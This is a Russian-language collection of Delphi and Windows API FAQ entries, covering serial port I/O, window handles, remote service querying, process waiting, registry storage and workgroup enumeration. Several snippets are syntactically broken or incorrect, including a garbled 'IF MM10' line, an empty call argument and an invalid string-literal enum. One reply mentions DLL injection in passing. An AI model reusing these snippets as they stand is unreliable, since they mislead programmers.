procedure Memo1DblClick(Sender: TObject);
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

uses Registry;

var
hPort: THandle;

procedure TForm1.Memo1Change(Sender: TObject);
var
i: Integer;
begin
Edit1.Text := '';
for i := 1 to Length(Memo1.Text) do
Edit1.Text := Edit1.Text + Format('%x', [Ord(Memo1.Text[i])]) + ' '
end;

procedure TForm1.Memo2Change(Sender: TObject);
var
i: Integer;
begin
Edit2.Text := '';
for i := 1 to Length(Memo2.Text) do
Edit2.Text := Edit2.Text + Format('%x', [Ord(Memo2.Text[i])]) + ' '
end;

procedure TForm1.Button1Click(Sender: TObject);
var
S, D: array[0..127] of Char;
actual_bytes: Integer;
DCB: TDCB;
begin

FillChar(S, 128, #0);
FillChar(D, 128, #0);

DCB.DCBlength := SizeOf(DCB);

if not GetCommState(hPort, DCB) then begin
ShowMessage('Can''t get port state: ' + IntToStr(GetLastError));
Exit;
end;

try
DCB.BaudRate := StrToInt(BaudCombo.Text);
except
BaudCombo.Text := IntToStr(DCB.BaudRate);
end;

try
DCB.ByteSize := StrToInt(ByteSizeCombo.Text);
except
ByteSizeCombo.Text := IntToStr(DCB.ByteSize);
end;

if ParityCombo.ItemIndex > -1 then
DCB.Parity := ParityCombo.ItemIndex
else
ParityCombo.ItemIndex := DCB.Parity;

if StopBitsCombo.ItemIndex > -1 then
DCB.StopBits := StopBitsCombo.ItemIndex
else
StopBitsCombo.ItemIndex := DCB.StopBits;

if not SetCommState(hPort, DCB) then begin
ShowMessage('Can''t set new port settings: ' + IntToStr(GetLastError));
Exit;
end;

PurgeComm(hPort, PURGE_TXABORT or PURGE_RXABORT or PURGE_TXCLEAR or PURGE_RXCLEAR);

StrPCopy(S, Memo1.Text);

if not WriteFile(hPort, S, StrLen(S), actual_bytes, nil) then begin
ShowMessage('Can''t write to port: ' + IntToStr(GetLastError));
Exit;
end;

if not ReadFile(hPort, D, StrToInt(Edit3.Text), actual_bytes, nil) then
ShowMessage('Can''t read from port: ' + IntToStr(GetLastError))
else
ShowMessage('Read ' + IntToStr(actual_bytes) + ' bytes');
Memo2.Text := D;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
with TRegistry.Create do begin
OpenKey('Shkila', True);
WriteString('Port', PortCombo.Text);
WriteString('Baud Rate', BaudCombo.Text);
WriteString('Byte Size', ByteSizeCombo.Text);
WriteString('Parity', IntToStr(ParityCombo.ItemIndex));
WriteString('Stop Bits', IntToStr(StopBitsCombo.ItemIndex));
Destroy;
end;
if not CloseHandle(hPort) then begin
ShowMessage('Can''t close port: ' + IntToStr(GetLastError));
Exit;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
hPort := CreateFile(PChar(PortCombo.Text),
GENERIC_READ + GENERIC_WRITE,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);

if hPort = INVALID_HANDLE_VALUE then
ShowMessage('Can''t open ' + PortCombo.Text + ': ' + IntToStr(GetLastError))
else
Button2.Hide;
end;

procedure TForm1.PortComboChange(Sender: TObject);
begin
FormDestroy(Sender);
Button2.Show;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
with TRegistry.Create do begin
OpenKey('Shkila', True);
PortCombo.Text := ReadString('Port');
BaudCombo.Text := ReadString('Baud Rate');
ByteSizeCombo.Text := ReadString('Byte Size');
ParityCombo.ItemIndex := StrToInt(ReadString('Parity'));
StopBitsCombo.ItemIndex := StrToInt(ReadString('Stop Bits'));
Destroy;
end;
end;

procedure TForm1.Memo1DblClick(Sender: TObject);
begin
Memo1.Lines.Clear;
Memo2.Lines.Clear;
Edit1.Text := '';
Edit2.Text := '';
end;

end.
К заголовку




Как получить дескриптор другого окна и сделать его активным?
Использование фуекции Windows API FindWindow() - простейший способ нахождение окна, при условии, что известен его заголовок
или имя оконного класса. Если Вам известна только часть заголовка окна (например 'Netscape - ' + 'какой-то неизвестный URL'), Ва м
нужно использовать функцию EnumWindows() для получения всех окон, затем вызывать функцию GetWindowsText() и GetClassName
для поиска нужного окна. Следующий пример находит первое окно, содержащее совпадающую часть заголовка окна и полностью
совпадающее название оконного класса (если он задан) и делает это окно активным.



type
PFindWindowStruct = ^TFindWindowStruct;
TFindWindowStruct = record
Caption : string;
ClassName : string;
WindowHandle : THandle;
end;

function EnumWindowsProc(hWindow : hWnd;
lParam : LongInt) : Bool
{$IFDEF Win32} stdcall; {$ELSE} ; export; {$ENDIF}
var
lpBuffer : PChar;
WindowCaptionFound : bool;
ClassNameFound : bool;

begin
GetMem(lpBuffer, 255);
Result := True;
WindowCaptionFound := False;
ClassNameFound := False;

try
if GetWindowText(hWindow, lpBuffer, 255) > 0 then
if Pos(PFindWindowStruct(lParam).Caption, StrPas(lpBuffer)) > 0
then WindowCaptionFound := true;

if PFindWindowStruct(lParam).ClassName = '' then
ClassNameFound := True else
if GetClassName(hWindow, lpBuffer, 255) > 0 then
if Pos(PFindWindowStruct(lParam).ClassName, StrPas(lpBuffer))
> 0 then ClassNameFound := True;

if (WindowCaptionFound and ClassNameFound) then begin
PFindWindowStruct(lParam).WindowHandle := hWindow;
Result := False;
end;

finally
FreeMem(lpBuffer, sizeof(lpBuffer^));
end;
end;

function FindAWindow(Caption : string;
ClassName : string) : THandle;
var
WindowInfo : TFindWindowStruct;

begin
with WindowInfo do begin
Caption := Caption;
ClassName := ClassName;
WindowHandle := 0;
EnumWindows(@EnumWindowsProc, LongInt(@WindowInfo));
FindAWindow := WindowHandle;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
TheWindowHandle : THandle;
begin
TheWindowHandle := FindAWindow('Netscape - ', '');
if TheWindowHandle = 0 then
ShowMessage('Window Not Found!') else
BringWindowToTop(TheWindowHandle);
end;
К заголовку




Как управлять сервисом на другом компьютере в Win2000
uses
Windows, Messages, SysUtils,
StdCtrls, SvcMgr;
var
ssStatus:TServiceStatus;
schSCManager,
schService:SC_HANDLE ;

begin
schSCManager := OpenSCManager( PChar('Comp1'), //имя компьютера, nil - local machine
nil, // ServicesActive database
SC_MANAGER_ALL_ACCESS); // full access rights

if schSCManager = 0 then exit; //Ошибка?

schService := OpenService(
schSCManager, // SCM database
PChar('SQLServerAgent'), // посмотри имя в Services. В данном случае - MS Server Agent
SERVICE_ALL_ACCESS);

if schService = 0 then exit; //Ошибка?

if not QueryServiceStatus(
schService, // handle to service
ssStatus) then // address of status information structure
exit; //Ошибка?

case ssStatus.dwCurrentState of:
SERVICE_RUNNING: ShowMessage('Работает!');
SERVICE_STOPPED: ShowMessage('Выключен');
// ну и т.д.
end;
end;
К заголовку




Ожидание завершения DOS-задачи
=== 1 ===

Каким образом организовать ожидание завершения DOS-задачи? Например, надо подождать, пока заархивируется файл, и далее
обработать его.
uses
...,windows,...

procedure RunRarAndWait;
var
si: TStartupInfo;
pi: TProcessInformation;
begin
//подготовливаем записи si и pi к использованию
FillChar(si, SizeOf(si));
si.cb := SizeOf(si);
FillChar(pi, SizeOf(pi));
//попытаемся запустить рар
if CreateProcess('rar.exe', 'parameters',
nil, nil, //безопасность по умолчанию
false, //не наследовать хэндлов
0, //флаги создания по умолчанию
nil, //переменные среды по умолчанию
nil, //текущая директория по умолчанию
si, //стартовая информация
pi) //а в эту запись получим информацию о созданом процессе
then
begin //удалось запустить рар
//подождем пока рар работает
WaitForSingleObject(pi.hProcess, INFINITE);
//убираем мусор
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
end else
//выдаем сообщение об ощибке
MessageDlg(SysErrorMessage(GetLastError), mtError, [mbOK], 0);
end;

=== 2 ===

function WinExecute(CmdLine: string; Wait: Boolean): Boolean;
var
StartupInfo: TStartupInfo;
ProcessInformation: TProcessInformation;
begin
Result := True;
try
FillChar(StartupInfo, SizeOf(StartupInfo), 0);
StartupInfo.cb := SizeOf(StartupInfo);
if not CreateProcess(nil, PChar(CmdLine), nil, nil, True, 0, nil,
nil,
StartupInfo, ProcessInformation) then RaiseLastWin32Error;
if Wait then WaitForSingleObject(ProcessInformation.hProcess,
INFINITE);
except
Result := False;
end;
end;

=== 3 ===

function TForm1.StartWithShell(Prog, par, Verz: string; var hProcess :
THandle) : DWord;
var
exInfo: TShellExecuteInfo;
begin
hProcess := 0;
FillChar( exInfo, Sizeof(exInfo), 0 );
with exInfo do begin
cbSize:= Sizeof( exInfo );
fMask := SEE_MASK_NOCLOSEPROCESS or SEE_MASK_FLAG_DDEWAIT;
Wnd := 0;
lpVerb:= 'open';
lpParameters := PChar(par);
lpFile:= Pchar(prog);
nShow := SW_HIDE;
end;
Result := ERROR_SUCCESS;
if ShellExecuteEx(@exInfo) then
hProcess := exinfo.hProcess
else
Result := GetLastError;
end;

function TForm1.StartProgramm : Boolean;
var
r, ExitCode : DWord;
err : string;
hProcess : THandle;
begin
Result := False;
r := StartWithShell('rar.exe', , 'c:\windows\system',
hProcess);
if r = ERROR_SUCCESS then begin
repeat
Application.ProcessMessages;
GetExitCodeProcess(hProcess, ExitCode);
until (ExitCode <> STILL_ACTIVE);
result := true;
end else begin
case r of
ERROR_FILE_NOT_FOUND : err:='The specified file was not
found.';
ERROR_PATH_NOT_FOUND : err:='The specified path was not
found.';
ERROR_DDE_FAIL : err:='The DDE transaction failed.';
ERROR_NO_ASSOCIATION : err:='There is no application associated
with the given filename extension.';
ERROR_ACCESS_DENIED : err:='Access denied';
ERROR_DLL_NOT_FOUND : err:='DLL not found';
ERROR_CANCELLED : err:='The function prompted the user for the
location of the application, but the user cancelled the request.';
ERROR_NOT_ENOUGH_MEMORY: err:='Not enough memory';
ERROR_SHARING_VIOLATION: err:='A sharing violation occurred.';
else err:='Unknown';
end;
MessageDlg('Error: ' + err, mtError, [mbOk], 0);
end;
end;
К заголовку




Написание программ на чистом API
program SmallPrg;

uses Windows, Messages;

const
WinName = 'MainWClass';

function MainWndProc(Window: HWnd; AMessage, WParam,
LParam: Longint): Longint; stdcall;
begin
//подпрограмма обработки сообщений
case AMessage of
WM_DESTROY: begin
PostQuitMessage(0);
Result := 0;
Exit;
end;
else
Result := DefWindowProc(Window, AMessage, WParam, LParam);
end;
end;

function InitApplication: Boolean;
var
wcx: TWndClass;
begin
//Заполняем структуру TWndClass
// перерисовываем, если размер изменяется
wcx.style := CS_HREDRAW or CS_VREDRAW;
// адрес оконной процедуры
wcx.lpfnWndProc := @MainWndProc;
wcx.cbClsExtra := 0;
wcx.cbWndExtra := 0;
// handle to instance
wcx.hInstance := hInstance;
// загружаем стандандартную иконку
wcx.hIcon := LoadIcon(0, IDI_APPLICATION);
// загружаем стандартный курсор
wcx.hCursor := LoadCursor(0, IDC_ARROW);
// делаем светло-cерый фон
wcx.hbrBackground := COLOR_WINDOW;
// пока нет главного меню
wcx.lpszMenuName := nil;
// имя класса окна
wcx.lpszClassName := PChar(WinName);

// Регистрируем наш класс окна.
Result := RegisterClass(wcx) <> 0;
end;

function InitInstance: HWND;
begin
// Создаем главное окно.
Result := CreateWindow(
// имя класса окна
PChar(WinName),
// заголовок
'Small program',
// стандартный стиль окна
WS_OVERLAPPEDWINDOW,
// стандартные горизонтальное, вертикальное положение, ширина и высота
Integer(CW_USEDEFAULT),
Integer(CW_USEDEFAULT),
Integer(CW_USEDEFAULT),
Integer(CW_USEDEFAULT),
0,//нет родительского окна
0,//нет меню
hInstance, // handle to application instance
nil); // no window-creation data
end;

var
hwndMain: HWND;
AMessage: msg;
begin
if (not InitApplication) then
MessageBox(0, 'Ошибка регистрации окна', nil, mb_Ok)
else
begin
hwndMain := InitInstance;
if (hwndMain = 0) then
MessageBox(0, 'Ошибка создания окна', nil, mb_Ok)
else
begin
// Показываем окно и посылаем сообщение WM_PAINT оконной процедуре
ShowWindow(hwndMain, CmdShow);
UpdateWindow(hwndMain);
while (GetMessage(AMessage, 0, 0, 0)) do
begin
TranslateMessage(AMessage);
DispatchMessage(AMessage);
end;
end;
end;
end.
К заголовку




Меню с правой строны
Главное меню окна – до боли знакомая вещь. Какое же извращение придумать с ним?..

Весьма необычно будет, если какой-нибудь пункт меню будет обособленно располагаться с правой стороны окна! (или несколько
пунктов меню). Как же это сделать? Для этого нужно иметь: компонент MainMenu – 1 штука, форма – 1 штука, клава – 2 штуки (одна
для того, чтобы набить ту чушь, что расположена ниже, а другая, являющаяся особой женского пола – для одних только вам
известных забав). Начнём с первой (тем более, что кончить на второй всегда успеем!).

Всё что нужно сделать для этого – это создать главное меню, например, показанное на рисунке, и по созданию окна (событие
OnCreate) написать следующий код:

procedure TForm1.FormCreate(Sender: TObject);
begin
ModifyMenu(MainMenu1.Handle,3,mf_ByPosition or mf_Popup or mf_Help,Help1.Handle,PChar(Help1.Caption));
end;
К заголовку




Как получить имна свободных COM портов
Для начала подключите модуль Registry в области uses. Затем на форму нужно будет вынести кнопку и многострочное текстовое поле
класса TMemo. Ну и по нажатию на кнопку написать следующий код:


procedure TForm1.Button1Click(Sender: TObject);
var
reg : TRegistry;
st : TStrings;
i : integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('hardware\devicemap\serialcomm',false);
st := TStringList.Create;
reg.GetValueNames(st);
for i := 0 to st.Count -1 do begin
Memo1.Lines.Add(reg.ReadString(st.Strings[i]));
end;
st.Free;
reg.CloseKey;
reg.free;
end;
К заголовку




Как сохранить объект TFont в реестре
Uses ... Registry;

procedure SaveFontToRegistry(Font : TFont; SubKey : String);
Var
R : TRegistry;
FontStyleInt : byte;
FS : TFontStyles;
begin
R:=TRegistry.Create;
try
FS:=Font.Style;
Move(FS,FontStyleInt,1);
R.OpenKey(SubKey,True);
R.WriteString('Font Name',Font.Name);
R.WriteInteger('Color',Font.Color);
R.WriteInteger('CharSet',Font.Charset);
R.WriteInteger('Size',Font.Size);
R.WriteInteger('Style',FontStyleInt);
finally
R.Free;
end;
end;

function ReadFontFromRegistry(Font : TFont; SubKey : String) : boolean;
Var
R : TRegistry;
FontStyleInt : byte;
FS : TFontStyles;
begin
R:=TRegistry.Create;
try
result:=R.OpenKey(SubKey,false); if not result then exit;
Font.Name:=R.ReadString('Font Name');
Font.Color:=R.ReadInteger('Color');
Font.Charset:=R.ReadInteger('CharSet');
Font.Size:=R.ReadInteger('Size');
FontStyleInt:=R.ReadInteger('Style');
Move(FontStyleInt,FS,1);
Font.Style:=FS;
finally
R.Free;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
If FontDialog1.Execute then
begin
SaveFontToRegistry(FontDialog1.Font,'Delphi Kingdom\Fonts');
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
NFont : TFont;
begin
NFont:=TFont.Create;
if ReadFontFromRegistry(NFont,'Delphi Kingdom\Fonts') then
begin //здесь добавить проверку - существует ли шрифт
Label1.Font.Assign(NFont);
NFont.Free;
end;
end;
К заголовку




Как правильно общаться с функциями типа WM_SETTEXT?
Как правильно общаться с функциями типа WM_SETTEXT: в хелпе я читал, что
у этой функции есть два переметра(0 и строка), НО КАК ИМИ ВОСПОЛЬЗОВАТЬСЯ.
Если я пишу: SendMessage(myhwnd,WM_SETTEXT[0,'Нет'],0,0), то вылазиет
ошибка
'array typr required'(как же запихнуть 0 и строку в массив?)

WM_SETTEXT не функция а сообщение. А использовать надо так:
SendMessage(myhwnd,WM_SETTEXT,0,@LPZстрока),
К заголовку




Как можно взять текcт, выделенный в ListBox
Во вражеском приложении есть listbox. [D5, NT4]

Сабж. Причем не один. Как можно выцепить текcт, выделенный им?
Если не трудно, то простенький пример плз. Или пошлите куда-нибудь.

--------------------------------------------------------------------------------
внедряешь к врагам свою dll
Дальше SendMessage - rulezzz 4ever. (Забираешь информацию как и принято в винде - сообщениями)

--------------------------------------------------------------------------------
А зачем DLL-то внедрять? Надо просто получить хэндл листбокса, это и без DLL легко сделать (FindWindowEx,
например). А дальше шлем сначала LB_GETCURSEL, а потом LB_GETTEXT. Если стоит режим multi-select, то
немного сложнее, но схема та же.

К заголовку




Анимированная кнопка "Пуск"
Итак, если Вам надоело привычное статическое изображение кнопки "Пуск", то предлагаю немного оживить её :)
Надеюсь, что это доставит Вам удовольствие.
Совместимость: Все версии Delphi

Пример:

unit Main;

 interface
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,  Dialogs, StdCtrls, ExtCtrls,ShellAPI;

 Const
   MAX_BUFFER = 6;

 Type
   TForm1 = class(TForm)
     Button1: TButton;
     Timer1: TTimer;
     Button2: TButton;
     Image1: TImage;
     Edit1: TEdit;
     Label1: TLabel;
     Label2: TLabel;
     Label3: TLabel;
     Button3: TButton;
     procedure FormCreate(Sender: TObject);
     procedure Button1Click(Sender: TObject);
     procedure FormDestroy(Sender: TObject);
     procedure Timer1Timer(Sender: TObject);
     procedure Button2Click(Sender: TObject);
     procedure Edit1KeyPress(Sender: TObject; var Key: Char);
     procedure FormClose(Sender: TObject; var Action: TCloseAction);
     procedure Button3Click(Sender: TObject);
   private     HW : HWND;
     DC : HDC;
     R  : TRect;
     FNumber : integer;
     Buffer : array[1..MAX_BUFFER] of TBitmap;
     TrayIcon : TNotifyIconData;
     procedure CreateFrames;
     procedure DestroyFrames;
     procedure BuildFrames;
     procedure NotifyIcon(var Msg : TMessage); message WM_USER + 100;
     procedure OnMinimizeEvt(Sender : TObject);
   end;

 var
   Form1: TForm1;
 Implementation

 uses Math;

 {$R *.DFM}

// Создаём буфер для спрайтов
procedure TForm1.CreateFrames;
 var i : integer;
 begin
   for i:=1 to MAX_BUFFER do
    begin
      Buffer[i] := TBitmap.Create;
      Buffer[i].Height := R.Bottom-R.Top;
      Buffer[i].Width  := R.Right-R.Left;
      Buffer[i].Canvas.Brush.Color := clBtnFace;
      Buffer[i].Canvas.Pen.Color := clBtnFace;
      Buffer[i].Canvas.Rectangle(0,0,Buffer[i].Width,Buffer[i].Height);
    end;
 end;

procedure TForm1.DestroyFrames;
 var i : integer;
 begin
   for i:=1 to MAX_BUFFER do Buffer[i].Destroy;
 end;

 // Подготавливает сегменты/спрайты для анимации
procedure TForm1.BuildFrames;
 var i,j,k,H,W : integer;
 Y : double;
 Begin
 H := R.Bottom-R.Top;
 W := R.Right-R.Left;
 Image1.Width := W;
 Image1.Height:= H;
 for i := 1 to MAX_BUFFER-1 do //Буфер[MAX_BUFFER] используется для хранения оригинального битмапа
   for j:= 1 to W do
    for k:=1 to H do
     begin
      Y := 2*Sin((j*360/W)*(pi/180)-20*i);
      Buffer[i].Canvas.Pixels[j,k-Round(Y)]:= Buffer[6].Canvas.Pixels[j,k];
     end;
 end;

procedure TForm1.OnMinimizeEvt(Sender : TObject);
 begin
   ShowWindow(Application.Handle,SW_HIDE);
 end;

procedure TForm1.FormCreate(Sender: TObject);
 begin
   HW := FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'Button',nil);
   GetWindowRect(HW,R);
   DC := GetWindowDC(HW);
   CreateFrames;
   FNumber :=1;
   TrayIcon.cbSize := SizeOf(TrayIcon);
   TrayIcon.Wnd := Form1.Handle;
   TrayIcon.uID := 100;
   TrayIcon.uFlags := NIF_MESSAGE + NIF_ICON + NIF_TIP;
   TrayIcon.uCallbackMessage := WM_USER + 100;
   TrayIcon.hIcon := Application.Icon.Handle;
   Shell_NotifyIcon(NIM_ADD,@TrayIcon);
   Application.OnMinimize := OnMinimizeEvt;
 end;

 // Уведомляем обработчик
procedure TForm1.NotifyIcon(var Msg : TMessage);
 begin
   case Msg.LParam of
    WM_LBUTTONDBLCLK :
     Begin
       ShowWindow(Application.Handle,SW_SHOW);
       Application.Restore;
     end;
   end;
 end;

procedure TForm1.Button1Click(Sender: TObject);
 begin
 //Получаем изображение оригинальной кнопки, чтобы потом использовать его//когда анимация завершится
BitBlt(Buffer[MAX_BUFFER].Canvas.Handle,0,0,R.Right-R.Left,R.Bottom-R.Top,
          DC,0,0,SRCCOPY);
   BuildFrames;
   Image1.Canvas.Draw(0,0,Buffer[MAX_BUFFER]);
   Button2.Enabled := true;
   if Edit1.Text <> '' then
    Timer1.Interval := StrToInt(Edit1.Text)
   Else
    Begin
     Timer1.Interval := 100;
     Edit1.Text := '100';
    end;
 end;

 // Освобождение ресурсов procedure
TForm1.FormDestroy(Sender: TObject);
 Begin
   Timer1.Enabled := false;
   BitBlt(DC,0,0,R.Right-R.Left,R.Bottom-R.Top,
          Buffer[MAX_BUFFER].Canvas.Handle,0,0,SRCCOPY);
   ReleaseDC(HW,DC);
   DestroyFrames;

// не забудьте сделать это !!!
Shell_NotifyIcon(NIM_DELETE,@TrayIcon);
 end;

 // Анимация начинается здесь
procedure TForm1.Timer1Timer(Sender: TObject);
 begin
   BitBlt(DC,0,0,R.Right-R.Left,R.Bottom-R.Top,
          Buffer[FNumber].Canvas.Handle,0,0,SRCCOPY);
   Inc(FNumber);
   if (FNumber > MAX_BUFFER-1) then FNumber := 1;
 end;

 procedure TForm1.Button2Click(Sender: TObject);
 begin
   Timer1.Enabled := not Timer1.Enabled;
   if not Timer1.Enabled then
    begin
      BitBlt(DC,0,0,R.Right-R.Left,R.Bottom-R.Top,
          Buffer[MAX_BUFFER].Canvas.Handle,0,0,SRCCOPY);
      Button2.Caption := '&Animate';
      Button1.Enabled := true;
    End
   Else
    Begin
      Button2.Caption := '&Stop';
      Button1.Enabled := false;
    end;
 end;

 // Обеспечиваем ввод числовых значений
procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
 begin
   if not (Key in ['0'..'9']) and (Key <> Chr(VK_BACK)) then
    Key := #0;
 end;

 procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
 begin
   Action := caNone;
   Application.Minimize;
 end;

 procedure TForm1.Button3Click(Sender: TObject);
 begin
   PostMessage(Form1.Handle,WM_DESTROY,0,0);
   Application.Terminate;
 end;
 end.
К заголовку




Как вызвать функцию по ее адресу?
type
 pFn = function(I: Integer);
var
 l: pFn;
begin
 l := pFn(MyPointer);
 l(10);
end;
Кажись так
--------------------------------------------------------------------------------
Можно так :
type
 TMyfunction = function(список формальных параметров);

var f : TMyfunction;

begin
 @f:=//адрес
 //Вызов:
 f(список фактических параметров)
--------------------------------------------------------------------------------
Маленькое дополнение :

при такой декларации функц.типа и переменной, предн. для хранения адреса для компилятора строки
@f:=//адрес   и f:=//адрес - будут эквивалентны
--------------------------------------------------------------------------------
Как раз наоборот : я дополнил твой ответ маленьким уточняющим комментарием.
Он, собственно, не столь важен, но во избежание путаницы с прямой/косвенной адресацией переменных
процедурного типа рекомендую применять конструкцию f:=//адрес вместо @f:=//адрес. Компилятору "по барабану"
(он поймет, о чем речь), а запись - короче и понятнее : "присвоить переменной f значение, равное адресу того-то в
памяти"
--------------------------------------------------------------------------------
2 Digitman
А как насчет ответа Визарда (l := pFn(MyPointer)) - так можно?
Кстати, такой вариант как у меня я почерпнул из родного хелпа
(раздел, посвященного динамической загрузке DLL), ну да ладно,
то, что по твоему более читабельно - согласен.
--------------------------------------------------------------------------------
l := pFn(MyPointer) - а это из другой уже оперы, здесь просто явное преобразование указ.типа в процедурный тип,
чтобы компилятор не задавал дурацких вопросов наподобие :
"а что это ты , уважаемый, толкаешь в переменную процедурного типа указатель на неизвестно чего ? а вдруг это
не указатель на начало процедуры ? ты уж определись, уважаемый, с этим ... или, на кр.случай, возми на себя
ответственность за правильнось факт.адресации, явно показав, что это - указатель на процедуру, декларация
которой мне известна ...." )))))))))
К заголовку




Закладки - удаление
Document.Bookmarks.Item['BookmarkName'].Delete
К заголовку




Как определить день недели?
В одной из книг по программированию(за давностью лет - автора и название
не помню) был описан алгоритм, который я реализовал в следующем фрагменте
---------------------------
IF MM10
THEN YY:=YY-1;
CENT:=YY DIV 100;
YEAR:=YY MOD 100;
Z:=TRUNC(2.6*MM-0.1999);
DDAY:=Z+DD+YEAR+YEAR DIV 4+CENT DIV 4-2*CENT;
DDAY:=(DDAY+777)MOD 7;
CASE DDAY OF
0:WRITE(F,'ВОСКРЕСЕНИЕ');
1:WRITE(F,'ПОНЕДЕЛЬНИК');
2:WRITE(F,'ВТОРНИК');
3:WRITE(F,'СРЕДА');
4:WRITE(F,'ЧЕТВЕРГ');
5:WRITE(F,'ПЯТНИЦА');
6:WRITE(F,'СУББОТА');
END;
---------------------------
где:
MM - месяц
DD - число (т.е. день месяца)
YY - год (четыре цифры)
Программа писалась в году 1987 для ЭВМ "Электроника 100-25" в КОИ7 - посему
буквы прописные.
От временной переменной Z можно избавиться - она используется только раз.
Вместо 0.1999 в исходном алгоритме насколько я помню было 0.2, но на моей
реализации Pascal/ЭВМ возникала ошибка.
Вместо 777 можно использовать любое, достаточно большое число, без остатка
делящееся на 7.
Насколько я помню алгоритм работает от 15xx года(xx-к сожелению не помню) до,
если не ошибаюсь, 4093 года(4xxx - точно).

К заголовку




перечислить в "сase" _не цифровые_ значения
case Parameter2 of
"один": begin {} end;
"два" : begin {} end;
"остальной": begin {} end;
end;

=== 1 ===

можно, например, сделать TStringList, заполнить его
нужными значениями, а потом :

type
TSomeEnum = (seFirst, seSecond, ... );
...............
case SomeStringList.Items.IndexOf(S) of
seFirst: begin...end;
seSecond: begin...end;
......
end;
=== 2 ===
Можно сложить все буквы и получить контрольную сумму
слова например:

var w,i:word;
st:string;
st:= какое-то слово
w:=o;
For i:=1 to length(st) do
w:=w+ord(st[i]);

case w of
195: ... {'ab'}
199: ... {'cd'}
....
end;

=== 3 ===
type MyType = ('один','два','три','четыре');

var Parameter2:MyType;

case Parameter2 of
'один': begin {} end;
'два' : begin {} end;
else: begin {} end;
end;
К заголовку




Как найти все компьютеры в рабочей группе?
var
  Computer      : Array[1..500] of String[25];
  ComputerCount : Integer;
procedure FindAllComputers(Workgroup: String);
Var
   EnumHandle  : THandle;
   WorkgroupRS : TNetResource;
   Buf         : Array[1..500] of TNetResource;
   BufSize     : Integer;
   Entries     : Integer;
   Result      : Integer;
 Begin
  ComputerCount := 0;
  Workgroup := Workgroup + #0;
  FillChar(WorkgroupRS, SizeOf(WorkgroupRS) , 0);
   With WorkgroupRS do begin
     dwScope := 2;
     dwType := 3;
     dwDisplayType := 1;
     dwUsage := 2;
     lpRemoteName := @Workgroup[1];
   end;

   WNetOpenEnum( RESOURCE_GLOBALNET,
                 RESOURCETYPE_ANY,
                 0,
                 @WorkgroupRS,
                 EnumHandle );
   Repeat
     Entries := 1;
     BufSize := SizeOf(Buf);
     Result :=
      WNetEnumResource( EnumHandle,
                        Entries,
                        @Buf,
                        BufSize );
    If (Result = NO_ERROR) and (Entries = 1) then begin
       Inc( ComputerCount );
       Computer[ ComputerCount ] := StrPas(Buf[1].lpRemoteName);
     end;

   Until (Entries <> 1) or (Result <> NO_ERROR);
   WNetCloseEnum( EnumHandle );
 end;
К заголовку




Где лучше в программе размещать код заставки перед запуском?
Лучше всего размещать код заставки в головном файле программы после первого Application.FormCreate и перед Application.Run.
Это делается путем создания формы заставки "на лету" и последующего отображения ее перед открытием приложения.
program Project1;

uses Forms, Unit1 in 'UNIT1.PAS' {Form1}, Splash;

{$R *.RES}
var
SplashScreen : TSplashScreen; {в модуле Splash }
begin
Application.CreateForm(TForm1, Form1);
SplashScreen := TSplashScreen.Create(Application);
try
SplashScreen.Show;
SplashScreen.Update; {Обрабатываем все сообщения  о прорисовке формы}
{делайте другие CreatForms или любые другие действия перед тем, как приложение откроется. Если процесс запуска занимает много
времени, возможно Вы захотите периодически запускать Application.ProcessMessages, чтобы позволить  приложению отвечать на
сообщения Windows.}
finally {Убедитесь в том, что память под заставку освобождается}
SplashScreen.Free;
end;
Application.Run;
end.
К заголовку




Где расположена моя запущенная программа?
Все  очень просто:
var sAppPath : string;
 sAppPath := ExtractFilePath(Application.EXEName);
К заголовку




Если приложение долго выполняет какой-то цикл, как сделать так, чтобы остальные приложения не подвисали?
1. Вставить в тело цикла: Application.ProcessMessages
2. Запустить этот цикл как отдельный процесс, используя класс TThread.
К заголовку




Интересная вещь: как консольное приложение может узнать что Винды завершаются?
Все процессы получают сигналы CTRL_CLOSE_EVENT, CTRL_LOGOFF_EVENT и CTRL_ SHUTDOWN_EVENT. А делается это
(грубо говоря :) так:
BOOL Ctrl_Handler( DWORD Ctrl )
{
    if(    (Ctrl == CTRL_SHUTDOWN_EVENT)
        || (Ctrl == CTRL_LOGOFF_EVENT)
      )
    {
        // Вау! Юзер обламывает!
    }
    else
    {
        // Тут что-от другое можно творить. А можно и не творить :-)
    }
    return TRUE;
}

===
function Ctrl_Handler(Ctrl: Longint): LongBool;
begin
if Ctrl in [CTRL_SHUTDOWN_EVENT, CTRL_LOGOFF_EVENT] then

begin
  // Вау, вау
end
else
begin
  // Am I creator?
end;
Result := true;
end;
===

А где-то в программе:

    SetConsoleCtrlHandler( Ctrl_Handler, TRUE );

Таких обработчиков можно навесить кучу. Если при обработке какого-то из
сообщений обработчик возвращет FALSE, то вызывается следующий обработчик. Можно насторить таких этажерок, что ого-го :-)))
Короче, смотри описание SetConsoleCtrlHandler -- там всё есть.
К заголовку




Как выполнить какой-то процесс тогда, когда пользователь не работает с моим приложением?
Ответ:
Создайте процедуру, которая будет вызываться при событии Application.OnIdle.

Обьявим процедуру:
{Private declarations}
procedure IdleEventHandler(Sender: TObject; var Done: Boolean);

В разделе implementation опишем поцедуру:

procedure TForm1.IdleEventHandler(Sender: TObject; var Done: Boolean);
begin
        {Do a small bit of work here}
        Done := false;
end;

В методе Form'ы OnCreate - укажем что наша процедура вызывается на событии
Application.OnIdle.

Application.OnIdle := IdleEventHandler;
Событие OnIdle возникает один раз - когда приложение переходит в режим "безделья" (idle). Если в обработчике переменной Done
присвоить False событие будет вызываться вновь и вновь, до тех пор пока приложение "бездельничает" и переменной Done не
присвоенно значение True.
К заголовку




Как найти размер окна?
//How to get the size of the window
var
  R: TRect;
begin
  R := GetClientRect;   // Get Window rectange
  //
